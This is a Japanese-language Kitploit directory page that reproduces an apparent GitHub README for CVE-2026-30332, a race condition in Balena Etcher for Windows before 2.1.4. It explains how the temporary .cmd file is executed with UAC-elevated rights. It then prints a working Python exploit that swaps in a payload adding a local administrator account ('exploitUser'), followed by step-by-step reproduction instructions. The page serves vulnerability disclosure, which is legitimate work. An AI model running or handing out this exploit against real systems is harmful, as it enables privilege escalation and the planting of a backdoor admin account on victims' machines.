Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-30332 — Balena Etcherのv2.1.4より前のバージョンは、Windows上で一時ファイル処理におけるTime-of-Check to Time-of-Use(TOCTOU)競合状態の影響を受けます。 | Kitploit
ツール/GitHubGitHub/b1tbreaker/cve-2026-30332
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイト
GitHubb1tbreaker/cve-2026-30332

CVE-2026-30332

Balena Etcherのv2.1.4より前のバージョンは、Windows上で一時ファイル処理におけるTime-of-Check to Time-of-Use(TOCTOU)競合状態の影響を受けます。

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-30332

説明

Balena Etcher for Windows のバージョン 2.1.4 より前のバージョンにおいて、Time-of-Check to Time-of-Use(TOCTOU)の脆弱性が確認されました。
このアプリケーションは、ユーザーが書き込み可能なディレクトリに一時的な .cmd ファイルを作成し、その後 UAC を介して昇格された権限で実行します。
これにより、現在のユーザーコンテキストで 中整合性(medium integrity) で実行されているアプリケーションまたはプロセスが、一時スクリプトが実行される前に悪意のあるコマンドを注入することで、高整合性(high integrity) へ権限を昇格させることが可能になります。


技術的分析

ユーザーがフラッシュ処理を開始すると、Etcher は以下の一連の処理を実行します:

  1. ユーザーの書き込み可能な一時ディレクトリに一時的な .cmd ファイルが作成されます:
    C:\Users\<username>\AppData\Local\Temp\etcher\

  2. ファイルには、etcher-util.exe を起動するために必要な環境変数とコマンドが書き込まれます。

  3. スクリプトは Windows UAC を介して昇格された権限で実行されます。

この脆弱性は、ファイルの作成と実行の間の時間差から生じます。この短い時間枠の間に、同じユーザーコンテキストで実行されているアプリケーションが一時ディレクトリを監視し、正当な .cmd ファイルを悪意のあるバージョンに置き換えることができます。Etcher は実行前にファイルの整合性を検証しないため、悪意のあるコードが昇格された権限で実行されます。


概念実証(Proof of Concept)

以下の Python スクリプトは Etcher の一時ディレクトリを監視し、.cmd ファイルが検出されると、新しいローカル管理者アカウントを作成する悪意のあるペイロードをそのファイルに追加します。

root@kitploit:~
import os
import time
import glob

username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''

def monitor_and_replace():
    print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
    
    while True:
        cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
        for cmd_file in cmd_files:
            print(f"[+] New .cmd file detected: {cmd_file}")
            try:
                with open(cmd_file, "w") as f:
                    f.write(payload)
                print("[+] Payload successfully written to .cmd file.")
                return  # Exit after successful injection
            except Exception as e:
                print(f"[-] Failed to write payload: {e}")
        time.sleep(0.5)

if __name__ == "__main__":
    monitor_and_replace()

再現手順

  1. コマンドプロンプトを開き、python exploit.py を実行します。スクリプトは Etcher によって作成された .cmd ファイルがないか一時ディレクトリの監視を開始します。

  1. Balena Etcher を起動し、有効なイメージファイルと対象の USB/SD デバイスを選択して、Flash をクリックしてフラッシュ処理を開始します。

  1. UAC プロンプト が表示されたら、それを受け入れて Etcher が昇格された権限で続行できるようにします。

  2. エクスプロイトスクリプトは、実行直前に一時的な .cmd ファイルを検出して置き換えます。スクリプトが昇格された権限で実行されると、注入されたコマンドが実行され、新しいローカル管理者ユーザー(exploitUser)が追加されます。

参考情報

  • NVD NIST CVE レコード
  • GitHub Issue – 脆弱性レポート
ツールをダウンロード